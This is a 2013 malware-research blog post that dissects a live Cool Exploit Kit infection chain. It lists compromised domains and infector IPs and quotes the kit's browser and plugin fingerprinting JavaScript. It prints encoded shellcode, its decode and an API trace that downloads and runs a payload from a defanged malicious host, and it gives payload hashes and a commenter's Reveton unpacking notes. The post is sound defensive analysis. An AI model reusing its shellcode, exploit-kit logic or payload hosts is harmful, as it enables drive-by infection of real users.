Monday, January 14, 2013

Flushing, Peeling and Understanding the Cool Exploit Kit infection

It is nice to have another Exploit Kit adventure, really learn a lot of these adventures. After bumping here and there (all of the previous blogs in last weekend crusade was the cases I bumped into) we meet an active Cool Exploit Kit.

I was hinted the url with the hostname of hypnotherapyaz.com (thank's to a crusader who I can't mention it here) which were match to IP of what other researcher's (@kafeine) tweet, and accidentally has a correlation to a hacked domain owner: Bob Faith of what MalwareMustDie Tango Team is currently processing. The part of investigation text can be found here -->>[PASTEBIN].

I also seek the possible domain names used by the suspected server, as per below:

50f2c40a75730.buyliftem.org        A    64.120.190.183
50f3308d0dc4d.mentalfocus.org      A    64.120.190.183
50f2d9ddf1471.azhypnotistbob.com   A    64.120.190.183
50f2afa39be68.azreptheatre.com     A    64.120.190.183
50f28a4b9a4fe.tempeazhomeloans.com A    64.120.190.183
50f30534b0cb0.hypnoaz.com          A    64.120.190.183
50f34659158a0.mentalfocusaz.com    A    64.120.190.183
50f31ac55ce66.hypnotherapyaz.com   A    64.120.190.183

By knowing the possibility of the domain's landing page by reading references, I made the personal brute shell script for the possible landing page urls using the last strings of the suspected domains started from directory after news/ (and some others dirs too) to the landing pages like: Sale.Dilute.jsp, ray.dhtml, OPERATION.PHP5, etc etc..(the script was just made for FreeBSD only, after it's stable and supporting linux too we will upload it into our Google Project site).
All I did was just using the response 200 OK for the each calls in bruting the url, and the match just came up as per infector url below:

result of the IP 64.120.190.183:
h00p://50f31ac55ce66.hypnotherapyaz.com/news/Guilt.phtm
h00p://50f2d9ddf1471.azhypnotistbob.com/news/Bible.phps
h00p://50f2d9ddf1471.azhypnotistbob.com/news/Guilt.phtm

by the domain names burped by the brute I saw a certain pattern, so I expanded the search with the same method to wider network to find the below urls came from IP: 72.46.132.214↓

h00p://50f2e82b777c7.bobfaith.com/news/ARCHBISHOP/OPERATION.PHP5
h00p://50f2e0e1f35ef.azhypnotistbob.com/news/ARCHBISHOP/OPERATION.PHP5
h00p://50f2cb535212f.azhypno.com/news/ARCHBISHOP/OPERATION.PHP5
h00p://50f2e82b777c7.bobfaith.com/news/Sun_Relinquish.aspx
h00p://50f2e0e1f35ef.azhypnotistbob.com/news/Bible.phps
FYI, historically 72.46.132.214 was having below domain's pointer too of the same pattern of PseudoRandom Domain/DGA used by Cool Exploit Kit:
50f337d06c182.mentalfocus.org
50f3ec90cd3e0.sportsfocus.org
50f2a2c25a1f4.arizonareptheatre.com
50f2a86714d29.azreptheatre.com
50f289732df55.arizonarepertorytheatre.com
50f2b63491312.buyliftem.com
50f2cb535212f.azhypno.com
50f39fe3d7007.socialmediahypnotist.com
50f34d99e5ea9.quitsmokingaz.com
50f30c7628d58.hypnoaz.com
50f2f6b923593.healthhypnosisaz.com
50f2fdf67d0ad.healthhypnosisaz.com
50f33f178173a.mentalfocusaz.com
50f3294603c37.loseweightaz.com
50f322095740b.loseweightaz.com
50f3138673ee9.hypnotherapyaz.com
50f2bd7964ae8.buyliftem.net
50f282b40a901.bestbridalregistry.net
Go back to the track, the insides (code) of the landing page URL were so similar so I just took the first one for this post's analysis. With the details below:

The landing page looks like below:
↑As you can see the typical landing page of Cool Exploit Kit.

I fetched the landing page:
--19:28:07--  h00p://50f31ac55ce66.hypnotherapyaz.com/news/Guilt.phtm
           => `Guilt.phtm'
Resolving 50f31ac55ce66.hypnotherapyaz.com... seconds 0.00, 64.120.190.183
Caching 50f31ac55ce66.hypnotherapyaz.com => 64.120.190.183
Connecting to 50f31ac55ce66.hypnotherapyaz.com|64.120.190.183|:80... seconds 0.00, connected.
  :
GET /news/Guilt.phtm HTTP/1.0
Referer: http://www.google.com/search?q=youtube
User-Agent: MalwareMustDie Draining Your Cool EK
Host: 50f31ac55ce66.hypnotherapyaz.com
  :
HTTP request sent, awaiting response...
  :
HTTP/1.1 200 OK
Server: nginx/1.2.6
Date: Mon, 14 Jan 2013 10:28:08 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.3.16
  :
200 OK
Length: unspecified [text/html]
19:28:09 (41.02 KB/s) - `Guilt.phtm' saved [16046]
I neutralized with jinxed code here-->>[PASTEBIN] Without reading code you can grep the plain possible urls in it, to find below links:
h00p://50f31ac55ce66.hypnotherapyaz.com/news/tentative.jar
h00p://50f31ac55ce66.hypnotherapyaz.com/news/Shore_Rightly2.pdf
h00p://50f31ac55ce66.hypnotherapyaz.com/news/live1.pdf
h00p://50f31ac55ce66.hypnotherapyaz.com/news/INDUSTRIAL1.SWF
Oh yes, I drained it up, PoC: Here's all of the download logs as evidence :-) -->>[PASTEBIN] PS: the last attempt shown that the bad actors removed the jars:
$ cat tentative.jar
<b>ERROR 404 CONTENT</b>

Decoding & understanding how it infects us!

So let's peel the landing page code, this is a more structured code-->>[PASTEBIN] For the obfusctation, there were none. You'll see the condensed script and that's it. The trick of usage variable as wordings is used but wasn't difficult to figure it out. I wonder why a moronz must pay high price for a junk code like this. Honestly, I cannot say this is much smarter stuff than BHEK. Well, I will try to explain the infection part based on this structure.. In the first script it gets the Adobe version (self explanatory)
 try
 { control = new ActiveXObject('PDF.PdfCtrl'); }
     catch (e) {} }
   if (control)
   { isInstalled = true;
     version = control.GetVersions().split(',');
     version = version[0].split('=');
     version = parseFloat(version[1]);
     Roar=version;
     pull=true; } }
in 2nd script it gets java ver of IE or Netscape(Mozilla):
           if(br=='MSIE')
           {
             if(this.ax('1.7.0')) { immense[0]='1.7.0'}
             else if(this.ax('1.6.0'))
             {immense[0]='1.6.0'}
             else if(this.ax('1.5.0'))
             { immense[0]='1.5.0'}
             else if(this.ax('1.4.2'))
             {immense[0]='1.4.2'}
             else if(this.tm())
             {immense[0]='1.1'}
           }
           else if(br=='Netscape Family')
           {
             this.gj();
             if(this.Heredity!=null)
             { immense[0]=this.Heredity}
             else if(this.tt('1.7'))
             {immense[0]='1.7.0'}
             else if(this.tt('1.6'))
             { immense[0]='1.6.0'}
             else if(this.tt('1.5'))
             {immense[0]='1.5.0'  }
             else if(this.tt('1.4.2'))
             {immense[0]='1.4.2'} }
This is how it checks browsers (see the ver. well):
    ,g6:function()
       { if (this.Century == null)
         { var br=navigator.userAgent.toLowerCase();
           if((br.indexOf('msie')!=-1)&&(br.indexOf('opera')==-1))
           {this.Century='MSIE';
             this.Sand='MSIE'
           }
           else if(br.indexOf('iphone')!=-1)
           {this.Century='Netscape Family';
             this.Sand='iPhone'
           }
           else if((br.indexOf('firefox')!=-1)&&(br.indexOf('opera')==-1))
           {this.Century='Netscape Family';
             this.Sand='Firefox'
           }
           else if(br.indexOf('chrome')!=-1)
           {this.Century='Netscape Family';
             this.Sand='Chrome'
           }
           else if(br.indexOf('safari')!=-1)
           {this.Century='Netscape Family';
             this.Sand='Safari'
           }
           else if((br.indexOf('mozilla')!=-1)&&(br.indexOf('opera')==-1))
           {this.Century='Netscape Family';
             this.Sand='Other'
           }
           else if(br.indexOf('opera')!=-1)
           { this.Century='Netscape Family';
             this.Sand='Opera'
           }
           else
           { this.Century='?';
             this.Sand='unknown' } }
  return this.Century }
How it exploits PDF(a function to be called by exploiter)
     function ATTENTIONAMATEUR(tactic, diameter, warrant)
     { var hey ='7221';
       document.body.appendChild(document.createElement("p","8241"));
       document.body.appendChild(document.createElement("p","Microphone Acceptable Exaggerate Fond Tide"));    }
     DETAIL.innerHTML = '<object data="/'+(((Roar>0)&&(Roar<8))?('news/Shore_Rightly2.pdf'):('news/live1.pdf'))+'" type="application/pdf" width="200" height="100"><embed src="/'+(((Roar>0)&&(Roar<8))?('news/Shore_Rightly2.pdf'):('news/live1.pdf'))+'" type="application/pdf" width="100" height="200" /></object>';
How it exploit Flash via GetCN(function to be called by exploiter):
 function getCN()
 {
   return "/news/INDUSTRIAL1.SWF"
Other parts of script is a shellcode (later explained), the rest part is not significant to discuss, except some straight PDF infectors in object tag html:
<noscript>
<object data="/news/live1.pdf" type="application/pdf" width="100" height="300">
<embed src="/news/live1.pdf" type="application/pdf" width="300" height="100" /></object>
<object data="/news/Shore_Rightly2.pdf" type="application/pdf" width="300" height="300"><embed src="/news/Shore_Rightly2.pdf" type="application/pdf" width="200" height="200" /></object></noscript>

The Shellcode & Payload

It has shellcode function vfsq snipped below (can be called openly too)
 function vfsq()                                          
 {xz="%u";                                              
   var a="8282!05d4!60d4!d411!14e5!94c5!64c5!c5d4!b570!d4..
!e4b1!d181!7070!8521!c5c5!8504!2370!15e1!eee6!3733!2e2a!59..
!a23c!423c!babe!e7c2!b77d!3c42!82ba!c224!7de7!82b7!e324!8e..
!a4c5!f585!5382!fec6!1e97!0cb1!423a!7de7!8282!0d82!b704!b5..
!7d7d!0c94!3a0c!ce02!e3ba!c77d!4454!d5a5!8204!6482!0474!7d..
!24d2!3afd!0402!bd3a!eb3c!c5b2!42b1!8a55!0480!583a!3cb7!17..
!52b2!9e3e!c502!01ad!6983!3f72!deb1!58b2!964d!1e16!ddb1!80..
!d383!9a6c!b140!b2c5!6741!e43a!b13f!e502!e73a!8543!423a!3a..
!4ecf!6638!1414!1414!".split("").reverse().join("");      
   return a["replace"](/!/g,xz) 
we can use the Blackhole decode method, (please see the previous blog posts about manually decoding shellcode) to get the shellcode snipped below:
41 41 41 41 66 83 e4 fc  fc eb 10 58 31 c9 66 81   AAAAf......X1.f.
e9 3c fe 80 30 28 40 e2  fa eb 05 e8 eb ff ff ff   .<..0(@.........
ad cc 5d 1c c1 77 1b e8  4c a3 68 18 a3 68 24 a3   ..]..w..L.h..h$.
58 34 7e a3 5e 20 1b f3  4e a3 76 14 2b 5c 1b 04   X4~.^...N.v.+\..
a9 c6 3d 38 d7 d7 90 a3  68 18 eb 6e 11 2e 5d d3   ..=8....h..n..].
af 1c 0c ad cc 5d 79 c1  c3 64 79 7e a3 5d 14 a3   .....]y..dy~.]..
5c 1d 50 2b dd 7e a3 5e  08 2b dd 1b e1 61 69 d4   \.P+.~.^.+...ai.
85 2b ed 1b f3 27 96 38  10 da 5c 20 e9 e3 25 2b   .+...'.8..\...%+
     :                           :                      :
4c 1f 18 18 1f 06 5b 47  4b 41 49 44 45 4d 4c 41   L.....[GKAIDEMLA
49 40 51 58 46 47 5c 41  5b 5c 06 4b 47 45 07 46   I@QXFG\A[\.KGE.F
4d 5f 5b 07 5c 4d 46 5c  49 5c 41 5e 4d 11 06 4d   M_[.\MF\I\A^M..M
50 4d 28 28                                        PM((
the last part is encoded url. You can XOR it with the FF key, or translate shellcode API into:
0x7c801ad9 kernel32.VirtualProtect(lpAddress=0x4020cf, dwSize=255)
0x7c801d7b kernel32.LoadLibraryA(lpFileName=urlmon)
0x7c835dfa kernel32.GetTempPathA(lpBuffer=0x22fc60, nBufferLength=248, [lpBuffer=C:\DOCUME~1\Administrator\LOCALS~1\Temp\])
0x1a494bbe urlmon.URLDownloadToFileA(pCaller=0, szURL=h00p://50f39fe3d7007.socialmediahypnotist.com/news/tentative9.exe, lpfnCB=0x0, szFileName=C:\DOCUME~1\Administrator\LOCALS~1\Temp\wpbt0.dll)
0x7c86250d kernel32.WinExec(lpCmdLine=C:\DOCUME~1\Administrator\LOCALS~1\Temp\wpbt0.dll, uCmdShow=0)
0x7c86250d kernel32.WinExec(lpCmdLine=regsvr32 -s C:\DOCUME~1\Administrator\LOCALS~1\Temp\wpbt0.dll, uCmdShow=0)
0x7c81cb3b kernel32.TerminateThread(dwExitCode=0)
to get the payload url below:
h00p://50f39fe3d7007.socialmediahypnotist.com/news/tentative9.exe
Oh, of course I fetched the payload:
HTTP request sent, awaiting response...
HTTP/1.1 200 OK
Server: nginx/0.8.55
Date: Mon, 14 Jan 2013 10:47:25 GMT
Content-Type: application/x-msdownload
Connection: keep-alive
X-Powered-By: PHP/5.3.16
Pragma: public
Expires: Mon, 14 Jan 2013 10:47:26 GMT
Cache-Control: must-revalidate, post-check=0, pre-check=0
Cache-Control: private
Content-Disposition: attachment; filename="contacts.exe"
Content-Transfer-Encoding: binary
Content-Length: 171008
200 OK
Registered socket 1896 for persistent reuse.
Length: 171,008 (167K) [application/x-msdownload]
19:47:29 (49.03 KB/s) - `tentative9.exe' saved [171008/171008]
Here it is: The binary looks like below details (you'll see Microsoft's nslookup.exe a Russian compilation version..a stupid LOL :-)
ExifTool :
SubsystemVersion.........: 5.0
LinkerVersion............: 9.0
ImageVersion.............: 0.0
FileSubtype..............: 0
FileVersionNumber........: 5.1.2600.5512
UninitializedDataSize....: 0
LanguageCode.............: Russian
FileFlagsMask............: 0x003f
CharacterSet.............: Unicode
InitializedDataSize......: 167424
FileOS...................: Windows NT 32-bit
MIMEType.................: application/octet-stream
LegalCopyright...........: .                                   .
FileVersion..............: 5.1.2600.5512 (xpsp.080413-2113)
TimeStamp................: 2013:01:14 05:53:59+00:00
FileType.................: Win32 DLL
PEType...................: PE32
InternalName.............: nslookup.exe
ProductVersion...........: 5.1.2600.5512
FileDescription..........: nslookup APP
OSVersion................: 5.0
OriginalFilename.........: nslookup.exe
Subsystem................: Windows GUI
MachineType..............: Intel 386 or later, and compatibles
CompanyName..............:
CodeSize.................: 2560
ProductName..............: Microsoft   Windows
ProductVersionNumber.....: 5.1.2600.5512
EntryPoint...............: 0x1330
ObjectFileType...........: Executable application

Compilation timedatestamp: 2013-01-14 05:53:59
Target machine...........: 0x14C 
                          (Intel 386 or later processors and compatible processors)
Entry point address......: 0x00001330
Hex:
0000   4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00    MZ..............
0010   B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00    ........@.......
0020   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0030   00 00 00 00 00 00 00 00 00 00 00 00 E0 00 00 00    ................
0040   0E 1F BA 0E 00 B4 09 CD 21 B8 01 4C CD 21 54 68    ........!..L.!Th
0050   69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F    is program canno
0060   74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20    t be run in DOS
0070   6D 6F 64 65 2E 0D 0D 0A 24 00 00 00 00 00 00 00    mode....$.......
0080   A2 87 94 C0 E6 E6 FA 93 E6 E6 FA 93 E6 E6 FA 93    ................
0090   68 F9 E9 93 D2 E6 FA 93 C1 20 81 93 E3 E6 FA 93    h........ ......
00A0   E6 E6 FB 93 86 E6 FA 93 E6 E6 FA 93 E7 E6 FA 93    ................
00B0   F8 B4 79 93 E7 E6 FA 93 F8 B4 6E 93 E7 E6 FA 93    ..y.......n.....
00C0   F8 B4 6B 93 E7 E6 FA 93 52 69 63 68 E6 E6 FA 93    ..k.....Rich....
00D0   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
00E0   50 45 00 00 4C 01 07 00 77 9D F3 50 00 00 00 00    PE..L...w..P....
 :                        :                                 :
Virus Total report of the payload:
SHA256: 212eae2b7cc22585dfdfdb3e1046b4dc56c31561a2b20f7f093bc8d9a5d78534 SHA1: 0ba1ab63f821d0e52d4b03780c13e24da9233c98 MD5: d3aa34ec10b0fe1efa2e1e17058c7697 File size: 167.0 KB ( 171008 bytes ) File name: d3aa34ec10b0fe1efa2e1e17058c7697 File type: Win32 DLL Tags: pedll Detection ratio: 2 / 35 Analysis date: 2013-01-14 08:41:03 UTC ( 4 hours, 47 minutes ago ) URL --->>[VirusTotal] Names: Malwarebytes : Trojan.FakeMS Norman : W32/Kryptik.GBT
↑I bet the payload is Reveton. I don't have enough time left in this crusade to start analyzing all samples yet, but made a detection ratio for positive samples based on VT report as per below: (click the numbers in the left part for link to VT)
No. Date Time Size FileName VT MD5 ------------------------------------------------------------------------------------- [1] 2013/01/14 19:28 16,046 Guilt.phtm 0/46 36c48f20a9badcffc4164558953eda42 [2] 2013/01/14 19:59 7,245 INDUSTRIAL1.SWF 2/46 49b376cc6f7d6e229b7ab1a2daa21e17 [3] 2013/01/14 19:57 9,660 live1.pdf 1/46 863d68bacfbddb042bdb1640cee68185 [4] 2013/01/14 19:55 20,190 Shore_Rightly2.pdf 7/29 10ad085df6e92258727695e186d22ce0 [5] 2013/01/14 19:47 171,008 tentative9.exe 9/46 d3aa34ec10b0fe1efa2e1e17058c7697

Samples

Samples are shared to increase AV detection ratio + research purpose-->>[HERE]

Source of infection

These are IP of the active Cool Exploit Kit malware infectors (monitored so far), blocking access to these IPs will be a very recommendable advice. If you think I am paranoia see this list -->>[PASTEBIN]
64.120.190.183 46.165.209.218 46.28.71.85 188.120.230.142 193.150.0.202 173.237.198.25 178.63.150.225 31.131.27.114 184.82.27.130 67.211.197.32 185.10.211.11 5.199.135.103 91.241.16.236 188.190.99.189 195.189.246.106 46.28.71.26
.. & some more IPs which are still under shifting. I will update regularly. *) The post will be updated regularly (after work), pls bear if correction occurred. *) For the Cool EK'S reference Google search resulted good ones-->>[GOOGLE] *) Latest CURRENT Infection of Cook EK in URLQuery-->>[HERE]
#MalwareMustDie!

2 comments:

  1. I unpacked it, it's a Reveton.
    (Shitty packer : VirtualAlloc some memory for stage2, ret on it, VirtualAlloc memory for the final binary, copy crypted code, decrypt it via a loop. The rest is uninteresting, the binary is dumpable now)

    delphi dll, with usual strings of Reveton :
    ASCII "X:\PGP\Programming\JimmMonsterNew\ServerWinlock\Source\SysUtils.pas"
    003BE635 MOV EDX,DUMP_008.003BE740 ASCII "LOCKDEST"
    003BE6A7 PUSH DUMP_008.003BE754 ASCII "\system32\rundll32.exe "
    003BE6D1 PUSH DUMP_008.003BE780 ASCII "H1N2"
    etc.

    Virustotal of the unpacked binary (14/46) https://www.virustotal.com/file/1844bb99caaa279ffd06e6ff7ceb829344dd198a51a48ed167957c0ef3c7f71d/analysis/1358180978/

    Great post otherwise, good job :)

    ReplyDelete
    Replies
    1. Thank's friend. This all happens because of you guys are supporting us! We thank you!
      PS: Nice binary analysis, thanks for the heads up!

      Delete